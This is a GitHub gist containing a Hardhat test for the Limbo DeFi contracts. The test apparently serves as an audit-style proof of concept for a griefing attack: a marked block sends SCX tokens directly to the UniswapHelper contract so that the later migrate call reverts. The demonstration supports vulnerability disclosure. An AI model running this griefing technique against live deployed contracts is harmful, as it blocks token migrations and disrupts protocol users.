-
-
Save CamdenClark/b6841ac7a63e868d90eff7d9a40e3e0a to your computer and use it in GitHub Desktop.
UniswapHelper Grief Attack
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const { expect, assert } = require("chai"); | |
const { ethers, network } = require("hardhat"); | |
const web3 = require("web3"); | |
describe("Limbo", function () { | |
let owner, secondPerson, feeSetter, dai, eye, link, sushi; | |
let daiEYESLP, linkEYESLP, sushiEYESLP, daiSushiSLP; | |
let daiEYEULP, linkEYEULP, sushiEYEULP, daiSushiULP; | |
let dao, proposalFactory, updateProposalConfigProposal; | |
let toggleWhiteList; | |
const zero = "0x0000000000000000000000000000000000000000"; | |
beforeEach(async function () { | |
[owner, secondPerson, proposalFactory] = await ethers.getSigners(); | |
const MockAngband = await ethers.getContractFactory("MockAngband"); | |
this.mockAngband = await MockAngband.deploy(); | |
const addTokenPowerFactory = await ethers.getContractFactory("MockAddTokenPower"); | |
this.addTokenPower = await addTokenPowerFactory.deploy(); | |
const MockBehodlerFactory = await ethers.getContractFactory("MockBehodler"); | |
this.mockBehodler = await MockBehodlerFactory.deploy("Scarcity", "SCX", this.addTokenPower.address); | |
const TransferHelperFactory = await ethers.getContractFactory("TransferHelper"); | |
const LimboDAOFactory = await ethers.getContractFactory("LimboDAO", { | |
libraries: { | |
TransferHelper: (await TransferHelperFactory.deploy()).address, | |
}, | |
}); | |
this.limboDAO = await LimboDAOFactory.deploy(); | |
this.TokenFactory = await ethers.getContractFactory("MockToken"); | |
this.eye = await this.TokenFactory.deploy("eye", "eye", [], []); | |
this.aave = await this.TokenFactory.deploy("aave", "aave", [], []); | |
this.dai = await this.TokenFactory.deploy("DAI", "DAI", [], []); | |
await this.dai.mint("600000000"); | |
await this.dai.transfer(this.mockBehodler.address, "600000000"); | |
const flashGovernanceFactory = await ethers.getContractFactory("FlashGovernanceArbiter"); | |
this.flashGovernance = await flashGovernanceFactory.deploy(this.limboDAO.address); | |
await this.flashGovernance.configureSecurityParameters(10, 100, 30); | |
// await this.eye.approve(this.limbo.address, 2000); | |
await this.flashGovernance.configureFlashGovernance(this.eye.address, 1000, 10, true); | |
const FlanFactory = await ethers.getContractFactory("Flan"); | |
this.flan = await FlanFactory.deploy(this.limboDAO.address); | |
const SoulLib = await ethers.getContractFactory("SoulLib"); | |
const CrossingLib = await ethers.getContractFactory("CrossingLib"); | |
const MigrationLib = await ethers.getContractFactory("MigrationLib"); | |
const LimboFactory = await ethers.getContractFactory("Limbo", { | |
libraries: { | |
SoulLib: (await SoulLib.deploy()).address, | |
CrossingLib: (await CrossingLib.deploy()).address, | |
MigrationLib: (await MigrationLib.deploy()).address, | |
}, | |
}); | |
this.limbo = await LimboFactory.deploy( | |
this.flan.address, | |
// 10000000, | |
this.limboDAO.address | |
); | |
await this.flan.whiteListMinting(this.limbo.address, true); | |
await this.flan.whiteListMinting(owner.address, true); | |
// await this.flan.endConfiguration(); | |
await this.addTokenPower.seed(this.mockBehodler.address, this.limbo.address); | |
const UniswapFactoryFactory = await ethers.getContractFactory("UniswapFactory"); | |
const sushiSwapFactory = await UniswapFactoryFactory.deploy(); | |
const uniswapFactory = await UniswapFactoryFactory.deploy(); | |
const firstProposalFactory = await ethers.getContractFactory("ToggleWhitelistProposalProposal"); | |
this.whiteListingProposal = await firstProposalFactory.deploy(this.limboDAO.address, "toggle whitelist"); | |
const morgothTokenApproverFactory = await ethers.getContractFactory("MockMorgothTokenApprover"); | |
this.morgothTokenApprover = await morgothTokenApproverFactory.deploy(); | |
const soulUpdateProposalFactory = await ethers.getContractFactory("UpdateSoulConfigProposal"); | |
this.soulUpdateProposal = await soulUpdateProposalFactory.deploy( | |
this.limboDAO.address, | |
"hello", | |
this.limbo.address, | |
this.morgothTokenApprover.address | |
); | |
// const flanSCXPair = await sushiSwapFactory. | |
this.ProposalFactoryFactory = await ethers.getContractFactory("ProposalFactory"); | |
this.proposalFactory = await this.ProposalFactoryFactory.deploy( | |
this.limboDAO.address, | |
this.whiteListingProposal.address, | |
this.soulUpdateProposal.address | |
); | |
await this.limboDAO.seed( | |
this.limbo.address, | |
this.flan.address, | |
this.eye.address, | |
this.proposalFactory.address, | |
sushiSwapFactory.address, | |
uniswapFactory.address, | |
this.flashGovernance.address, | |
9, | |
[], | |
[] | |
); | |
await this.limbo.setDAO(this.limboDAO.address); | |
await this.limboDAO.makeLive(); | |
const SoulReaderFactory = await ethers.getContractFactory("SoulReader"); | |
this.soulReader = await SoulReaderFactory.deploy(); | |
const UniswapHelperFactory = await ethers.getContractFactory("UniswapHelper"); | |
this.uniswapHelper = await UniswapHelperFactory.deploy(this.limbo.address, this.limboDAO.address); | |
await this.flan.whiteListMinting(this.uniswapHelper.address, true); | |
const migrationTokenPairFactory = await ethers.getContractFactory("MockMigrationUniPair"); | |
this.migrationTokenPair = await migrationTokenPairFactory.deploy("uni", "uni"); | |
await this.migrationTokenPair.setReserves(1000, 3000); | |
await this.uniswapHelper.configure( | |
this.limbo.address, | |
this.migrationTokenPair.address, | |
this.mockBehodler.address, | |
this.flan.address, | |
110, | |
32, | |
20, | |
0 | |
); | |
await this.uniswapHelper.setDAI(this.dai.address); | |
await this.limbo.configureCrossingParameters(this.aave.address, 1, 1, true, 10000010); | |
await this.limbo.configureCrossingConfig( | |
this.mockBehodler.address, | |
this.mockAngband.address, | |
this.uniswapHelper.address, | |
this.addTokenPower.address, | |
10000000, | |
10000, | |
100 | |
); | |
toggleWhiteList = toggleWhiteListFactory(this.eye, this.limboDAO, this.whiteListingProposal, this.proposalFactory); | |
const TokenProxyRegistry = await ethers.getContractFactory("TokenProxyRegistry"); | |
this.registry = await TokenProxyRegistry.deploy(this.limboDAO.address); | |
}); | |
const advanceTime = async (seconds) => { | |
await network.provider.send("evm_increaseTime", [seconds]); //6 hours | |
await network.provider.send("evm_mine"); | |
}; | |
const advanceBlocks = async (blocks) => { | |
for (let i = 0; i < blocks; i++) { | |
await network.provider.send("evm_mine"); | |
} | |
}; | |
const stringifyBigNumber = (b) => b.map((i) => i.toString()); | |
var toggleWhiteListFactory = (eye, dao, whiteListingProposal, proposalFactory) => { | |
return async function (contractToToggle) { | |
await whiteListingProposal.parameterize(proposalFactory.address, contractToToggle); | |
const requiredFateToLodge = (await dao.proposalConfig())[1]; | |
await eye.mint(requiredFateToLodge); | |
await eye.approve(dao.address, requiredFateToLodge.mul(2)); | |
await dao.burnAsset(eye.address, requiredFateToLodge.div(5).add(10)); | |
await proposalFactory.lodgeProposal(whiteListingProposal.address); | |
await dao.vote(whiteListingProposal.address, "100"); | |
await advanceTime(100000000); | |
await dao.executeCurrentProposal(); | |
}; | |
}; | |
it("Manually sending SCX to Uniswap helper causes migrations to revert", async function () { | |
const proxyFactory = await ethers.getContractFactory("TokenProxy"); | |
const proxy = await proxyFactory.deploy("Hello", "there", this.aave.address); | |
await this.registry.setProxy(this.aave.address, proxy.address, false); | |
const aaveBalance = await this.aave.balanceOf(owner.address); | |
console.log("aave balance" + aaveBalance); | |
await this.aave.approve(proxy.address, "100000000000000000000"); | |
await proxy.mint(owner.address, "100000000000000000000"); | |
const AddressBalanceCheckLib = await ethers.getContractFactory("AddressBalanceCheck"); | |
const addressBalanceCheckLibAddress = (await AddressBalanceCheckLib.deploy()).address; | |
const RealBehodlerFactory = await ethers.getContractFactory("BehodlerLite", { | |
libraries: { | |
AddressBalanceCheck: addressBalanceCheckLibAddress, | |
}, | |
}); | |
const realBehodler = await RealBehodlerFactory.deploy(); | |
await realBehodler.configureScarcity(15, 5, owner.address); | |
const RealAngband = await ethers.getContractFactory("AngbandLite"); | |
const realAngband = await RealAngband.deploy(); | |
const RealPower = await ethers.getContractFactory("LimboAddTokenToBehodler"); | |
const realPower = await RealPower.deploy( | |
realAngband.address, | |
this.limbo.address, | |
realBehodler.address, | |
this.registry.address | |
); | |
const RealUniswapFactoryFactory = await ethers.getContractFactory("RealUniswapV2Factory"); | |
const RealUniswapPairFactory = await ethers.getContractFactory("RealUniswapV2Pair"); | |
const realUniswapFactory = await RealUniswapFactoryFactory.deploy(owner.address); | |
await realUniswapFactory.createPair(realBehodler.address, this.flan.address); | |
const pairAddress = await realUniswapFactory.getPair(this.flan.address, realBehodler.address); | |
const scxFlanPair = await RealUniswapPairFactory.attach(pairAddress); | |
await this.dai.mint("1400000000000000010100550"); | |
await this.dai.approve(realBehodler.address, "140000000000000001010055"); | |
await realBehodler.addLiquidity(this.dai.address, "14000000000000001010055"); | |
const scxBalanceGenerated = await realBehodler.balanceOf(owner.address); | |
await realBehodler.transfer(scxFlanPair.address, scxBalanceGenerated); | |
await this.flan.mint(pairAddress, "300000000000000000000000"); | |
await scxFlanPair.mint(owner.address); | |
await this.limbo.configureCrossingConfig( | |
realBehodler.address, | |
realAngband.address, | |
this.uniswapHelper.address, | |
realPower.address, | |
6756, | |
1000, | |
// 20, | |
// 105, | |
111 | |
); | |
await this.uniswapHelper.configure( | |
this.limbo.address, | |
pairAddress, | |
realBehodler.address, | |
this.flan.address, | |
200, | |
105, | |
20, | |
0 | |
); | |
await this.uniswapHelper.setDAI(this.dai.address); | |
await this.limbo.configureSoul( | |
proxy.address, | |
100, //crossingThreshold | |
1, //soulType | |
1, //state | |
0, | |
10000000 | |
); | |
//stake tokens | |
await proxy.approve(this.limbo.address, "100000000000000000000001"); | |
await this.limbo.stake(proxy.address, "100000000000000000000"); | |
//assert state is now waitingToCross | |
const currentSoul = await this.limbo.souls(proxy.address, 0); | |
expect(currentSoul[4]).to.equal(2); | |
const requiredDelayBetweenEndOfStakingAndMigrate = (await this.limbo.crossingConfig())[3].toNumber(); | |
await advanceTime(requiredDelayBetweenEndOfStakingAndMigrate + 1); | |
await this.uniswapHelper.generateFLNQuote(); | |
const minQuoteWaitDuration = 105; | |
await advanceBlocks(minQuoteWaitDuration + 1); | |
await this.uniswapHelper.generateFLNQuote(); | |
const scxBalanceOfPairBefore = await realBehodler.balanceOf(pairAddress); | |
const blackHoleAddress = await this.uniswapHelper.blackHole(); | |
const blackHoleBalanceBefore = await scxFlanPair.balanceOf(blackHoleAddress); | |
const flanPairBalanceBefore = await this.flan.balanceOf(pairAddress); | |
expect(scxBalanceOfPairBefore).to.equal("609176545126652594565"); | |
expect(flanPairBalanceBefore).to.equal("300000000000000000000000"); | |
/* ******* | |
START OF MY CHANGES TO DEMONSTRATE ATTACK | |
******* | |
*/ | |
const amount = "14000000000" | |
await this.dai.mint(amount); | |
await this.dai.approve(realBehodler.address, amount); | |
await realBehodler.addLiquidity(this.dai.address, amount); | |
const scxBalanceGeneratedAttack = await realBehodler.balanceOf(owner.address); | |
await realBehodler.transfer(this.uniswapHelper.address, scxBalanceGeneratedAttack); | |
/* ******* | |
END OF MY CHANGES TO DEMONSTRATE ATTACK | |
******* | |
*/ | |
// Reverts with code "EM" | |
await this.limbo.migrate(proxy.address); | |
const balanceOfProxyOnBehodler = (await proxy.balanceOf(realBehodler.address)).toString(); | |
expect(balanceOfProxyOnBehodler).to.not.equal("0"); | |
const aaveBalanceOnBehodler = await this.aave.balanceOf(realBehodler.address); | |
expect(aaveBalanceOnBehodler).to.equal("0"); | |
}); | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment